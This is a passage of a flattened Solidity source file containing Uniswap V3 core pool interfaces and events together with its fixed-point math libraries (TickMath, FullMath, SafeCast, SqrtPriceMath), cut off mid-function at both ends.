value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolOwnerActions.sol /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolEvents.sol /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // File: @uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // File: @uniswap/v3-core/contracts/libraries/TickMath.sol /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // File: @uniswap/v3-core/contracts/libraries/FullMath.sol /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = -denominator & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } // File: @uniswap/v3-core/contracts/libraries/FixedPoint128.sol /// @title FixedPoint128 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) library FixedPoint128 { uint256 internal constant Q128 = 0x100000000000000000000000000000000; } // File: @uniswap/v3-core/contracts/libraries/LowGasSafeMath.sol /// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } } // File: @uniswap/v3-core/contracts/libraries/SafeCast.sol /// @title Safe casting methods /// @notice Contains methods for safely casting between types library SafeCast { /// @notice Cast a uint256 to a uint160, revert on overflow /// @param y The uint256 to be downcasted /// @return z The downcasted integer, now type uint160 function toUint160(uint256 y) internal pure returns (uint160 z) { require((z = uint160(y)) == y); } /// @notice Cast a int256 to a int128, revert on overflow or underflow /// @param y The int256 to be downcasted /// @return z The downcasted integer, now type int128 function toInt128(int256 y) internal pure returns (int128 z) { require((z = int128(y)) == y); } /// @notice Cast a uint256 to a int256, revert on overflow /// @param y The uint256 to be casted /// @return z The casted integer, now type int256 function toInt256(uint256 y) internal pure returns (int256 z) { require(y < 2**255); z = int256(y); } } // File: @uniswap/v3-core/contracts/libraries/UnsafeMath.sol /// @title Math functions that do not check inputs or outputs /// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks library UnsafeMath { /// @notice Returns ceil(x / y) /// @dev division by 0 has unspecified behavior, and must be checked externally /// @param x The dividend /// @param y The divisor /// @return z The quotient, ceil(x / y) function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := add(div(x, y), gt(mod(x, y), 0)) } } } // File: @uniswap/v3-core/contracts/libraries/FixedPoint96.sol /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } // File: @uniswap/v3-core/contracts/libraries/SqrtPriceMath.sol /// @title Functions based on Q64.96 sqrt price and liquidity /// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas library SqrtPriceMath { using LowGasSafeMath for uint256; using SafeCast for uint256; /// @notice Gets the next sqrt price given a delta of token0 /// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least /// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the /// price less in order to not send too much output. /// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96), /// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount). /// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta /// @param liquidity The amount of usable liquidity /// @param amount How much of token0 to add or remove from virtual reserves /// @param add Whether to add or remove the amount of token0 /// @return The price after adding or removing amount, depending on add function getNextSqrtPriceFromAmount0RoundingUp( uint160 sqrtPX96, uint128 liquidity, uint256 amount, bool add ) internal pure returns (uint160) { // we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price if (amount == 0) return sqrtPX96; uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION; if (add) { uint256 product; if ((product = amount * sqrtPX96) / amount == sqrtPX96) { uint256 denominator = numerator1 + product; if (denominator >= numerator1) // always fits in 160 bits return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator)); } return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount))); } else { uint256 product; // if the product overflows, we know the denominator underflows // in addition, we must check that the denominator does not underflow require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product); uint256 denominator = numerator1 - product; return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160(); } } /// @notice Gets the next sqrt price given a delta of token1 /// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least /// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the /// price less in order to not send too much output. /// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity /// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta /// @param liquidity The amount of usable liquidity /// @param amount How much of token1 to add, or remove, from virtual reserves /// @param add Whether to add, or remove, the amount of token1 /// @return The price after adding or removing `amount` function getNextSqrtPriceFromAmount1RoundingDown( uint160 sqrtPX96, uint128 liquidity, uint256 amount, bool add ) internal pure returns (uint160) { // if we're adding (subtracting), rounding down requires rounding the quotient down (up) // in both cases, avoid a mulDiv for most inputs if (add) { uint256 quotient = ( amount <= type(uint160).max ? (amount << FixedPoint96.RESOLUTION) / liquidity : FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity) ); return uint256(sqrtPX96).add(quotient).toUint160(); } else { uint256 quotient = ( amount <= type(uint160).max ? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity) : FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity) ); require(sqrtPX96 > quotient); // always fits 160 bits return uint160(sqrtPX96 - quotient); } } /// @notice Gets the next sqrt price given an input amount of token0 or token1 /// @dev Throws if price or liquidity are 0, or if the next price is out of bounds /// @param sqrtPX96 The starting price, i.e., before accounting for the input amount /// @param liquidity The amount of usable liquidity /// @param amountIn How much of token0, or token1, is being swapped in /// @param zeroForOne Whether the amount in is token0 or token1 /// @return sqrtQX96 The price after adding the input amount to token0 or token1 function getNextSqrtPriceFromInput( uint160 sqrtPX96, uint128 liquidity, uint256 amountIn, bool zeroForOne ) internal pure returns (uint160 sqrtQX96) { require(sqrtPX96 > 0); require(liquidity > 0); // round to make sure that we don't pass the target price return zeroForOne ? getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountIn, true) : getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountIn, true); } /// @notice Gets the next sqrt price given an output amount of token0 or token1 /// @dev Throws if price or liquidity are 0 or the next price is out of bounds /// @param sqrtPX96 The starting price before accounting for the output amount /// @param liquidity The amount of usable liquidity /// @param amountOut How much of token0, or token1, is being swapped out /// @param zeroForOne Whether the amount out is token0 or token1 /// @return sqrtQX96 The price after removing the output amount of token0 or token1 function getNextSqrtPriceFromOutput( uint160 sqrtPX96, uint128 liquidity, uint256 amountOut, bool zeroForOne ) internal pure returns (uint160 sqrtQX96) { require(sqrtPX96 > 0); require(liquidity > 0); // round to make sure that we pass the target price return zeroForOne ? getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountOut, false) : getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountOut, false); } /// @notice Gets the amount0 delta between two prices /// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper), /// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The amount of usable liquidity /// @param roundUp Whether to round the amount up or down /// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices function getAmount0Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity, bool roundUp ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION; uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96; require(sqrtRatioAX96 > 0); return roundUp ? UnsafeMath.divRoundingUp( FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96), sqrtRatioAX96 ) : FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96; } /// @notice Gets the amount1 delta between two prices /// @dev Calculates liquidity * (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The amount of usable liquidity /// @param roundUp Whether to round the amount up, or down /// @return amount1 Amount of token1 required to cover a position of size liquidity between the two passed prices function getAmount1Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity, bool roundUp ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return roundUp ? FullMath.mulDivRoundingUp(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96) : FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Helper that gets signed token0 delta /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The change in liquidity for which to compute the amount0 delta /// @return amount0 Amount of token0 corresponding to the passed liquidityDelta between the two prices function getAmount0Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, int128 liquidity ) internal pure returns (int256 amount0) { return liquidity < 0 ? -getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256() : getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256(); } /// @notice Helper that gets signed token1 delta /// @param sqrtRatioAX96 A sqrt price /// @param sqrtRatioBX96 Another sqrt price /// @param liquidity The change in liquidity for 